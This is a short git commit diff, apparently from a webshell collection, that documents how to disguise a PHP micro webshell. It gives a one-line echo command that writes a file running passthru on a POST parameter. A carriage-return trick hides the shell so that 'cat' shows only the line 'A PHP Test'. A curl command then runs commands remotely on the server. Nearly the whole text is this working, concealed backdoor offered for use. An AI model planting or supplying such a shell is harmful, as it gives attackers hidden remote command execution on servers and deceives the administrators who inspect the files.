Update and rename 2015-09-12.php to 2015-09-12.md

This commit is contained in:
tennc 2015-09-12 22:31:02 +08:00
parent 2b600b7e52
commit d9abc3c62e

View file

@ -1,12 +1,15 @@
Disguising a PHP Micro Webshell
` echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php`
`echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php`
url : http://t.co/YFm6QlpK0k
vist browser page show `A PHP Test`
then in console
then in console use `cat xxx.php`
it show `<?php echo 'A PHP Test ';" ?>`
then in console run
`curl -d 1=id http://www.xxx.xx/xx.php`
it like in console show command `id`